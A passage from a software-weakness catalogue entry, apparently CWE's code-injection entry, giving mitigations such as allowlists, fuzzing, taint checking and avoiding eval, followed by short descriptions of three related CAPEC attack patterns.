  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

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